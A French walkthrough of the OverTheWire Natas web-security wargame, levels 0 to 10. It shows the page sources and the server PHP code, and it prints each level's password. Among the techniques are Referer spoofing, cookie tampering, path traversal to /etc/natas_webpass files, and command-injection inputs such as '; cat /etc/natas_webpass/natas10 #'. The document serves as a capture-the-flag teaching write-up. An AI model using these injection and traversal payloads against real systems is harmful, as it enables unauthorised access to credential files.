Ceci est une ancienne révision du document !
Natas teaches the basics of serverside web-security.
Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and >level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the >file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Start here:
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
You can find the password for the next level on this page.
Un petit clic droit et “Afficher le code source de la page” et c'est gagner !
<div id="content"> You can find the password for the next level on this page. <!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC --> </div>
You can find the password for the next level on this page, but rightclicking has been blocked!
Le clic droit a été désactivé sur la page avec du javascript plusieurs solutions s'offrent à nous :
*Désactiver le javascript ( Sous chrome Ctrl + Shift + J et ensuite modifier les paramètres en cliquant sur l'engrenage en bas à droite) *Modifier l'url pour accéder directement au code source : view-source:http://natas0.natas.labs.overthewire.org/
<div id="content"> You can find the password for the next level on this page, but rightclicking has been blocked! <!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl --> </div>
There is nothing on this page
On jette un petit coup d'oeil au code source :
<div id="content"> There is nothing on this page <img src="files/pixel.png"> </div>
Tient un répertoire “files” allons voir ce qu'il contient :
Le répertoire contient deux fichier :
*pixel.png *user.txt
Le fichier user.txt contient le mot de passe pour le niveau suivant.
# username:password alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb eve:zo4mJWyNj2 mallory:9urtcpzBmH
Même message qu'au level 2 on check le code source :
<div id="content"> There is nothing on this page <!-- No more information leaks!! Not even Google will find it this time... --> </div>
Tient même google ne pourrait pas trouver le mot de passe, cela fait tout de suite penser au fichier “robots.txt” qui permet d'indiquer au bots des moteurs de recherches quelles pages ne doivent pas être indexées.
Contenu du fichier “robots.txt” :
User-agent: * Disallow: /s3cr3t/
Bingo ! Un dossier secret contenant un fichier “users.txt” :
natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz
Un message nous indique que seul les personnes provenant du level 5 seront authentifiés.
Access disallowed. You are visiting from ”” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”
Il suffit de changer le referer pour cela j'ai utilisé Tamper Data sour Firefox et Referer Control sous Chrome.
On recharge la page et c'est dans la poche :
Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z
Le message d’accueil n'est pas très explicite :
Access disallowed. You are not logged in
On jette un coup d'oeil au code source rien d'intéressant. Par contre un nouveau cookie est présent nommé “loggedin” avec une valeur à 0. On passe la valeur à 1 (j'ai utilisé le plugin Edit this cookie sous chrome), on recharge la page et on est loggé.
Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU
On se retrouve devant un formulaire qui requiert une clé :
<div id="content"> <form method=post> Input secret: <input name=secret><br> <input type=submit name=submit> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div>
On a de la chance le code source est accessible, voici le code php qui permet de vérifier la clé :
<? include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?>
La clé est stockée dans une variable $secret probablement initialisé dans le fichier secret.inc qui se situe dans le dossier includes :
<? $secret = "FOEIUWGHFEEUHOFUOIU"; ?>
On rentre la clé dans le formulaire et hop direction le prochain niveau :
Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU
On se retrouve avec un deux liens vers des pages différentes :
<div id="content"> <a href="index.php?page=home">Home</a> <a href="index.php?page=about">About</a> <br> <br> <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> </div>
Les pages sont inclue dynamiquement via un paramètre page en GET. Essayons avec page=test :
Warning: include(test): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening 'test' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13
On se retrouve avec une belle erreur php, qui permet d'obtenir un Full Path Disclosure combiné avec une faille include qui nous permet d'accéder au fichier contenant le mot de passe en utilisant l'adresse suivante : http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 :
<div id="content"> <a href="index.php?page=home">Home</a> <a href="index.php?page=about">About</a> <br> <br> maabkdexUStb6JJXUqmBx7Re8M61cksn <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> </div>
Même chose que pour le level 6 on doit trouver une clé et le code source est accessible :
<? $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secret']) == $encodedSecret) { print "Access granted. The password for natas9 is <censored>"; } else { print "Wrong secret"; } } ?>
Pour trouver la clé il faut effectuer la fonction inverse de “encodeSecret” sur la clé contenu dans le variable $encodeSecret c'est à dire dans l'ordre :
-Conversion de l'hexadécimal en binaire ce qui nous donne ”==QcCtmMml1ViV3b” (j'utiliser pour cela Xlate) -On inverse l'ordre des caractères en utilisant la fonction strrev ce qui nous donne “b3ViV1lmMmtCcQ==” -On décode en base64 ce qui nous donne “oubWYf2kBq”
Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT
On rentre des lettres dans un formulaire et il nous ressort une liste de mot contenant la chaine de caractère depuis un dictionnaire, voici le code source :
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?>
La fonction passthru() est simailaire à la fonction excec() et permet d'exécuter une commande, dans notre cas la commande grep avec l'option -i (qui permet d'ignorer la case) et en paramètre la clé que l'on fourni et le dictionnaire dans lequel on doit chercher.
L'idée va être de modifier la commande afin de faire afficher la clé du prochain niveau. En utilisant comme clé “xyz dictionary.txt; cat /etc/natas_webpass/natas10 #” on exécute deux commande et la clé vers le niveau suivant s'affiche :
Output: s09byvi8880wqhbnonMFMW8byCojm8eA
Par contre je ne comprend pas pourquoi il nous affiche l'ensemble du dico avec, c'est probablement parce que l'épreuve est simulée l'utilisation de la fonction passthru étant risquée.
Même chose que le level9 sauf que cette fois ci les caratères “|” , ”;” et ”&” sont filtrés :
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } } ?>
Cette fois ci on va aller chercher la clé directement là où elle est censé se trouver et non pas dans dictionary.txt pour cela on utilise le caractère ”#' qui permet d'ignorer la fin de la commande :
a /etc/natas_webpass/natas11 #
Et la clé s'affiche \o/ :
Output: SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6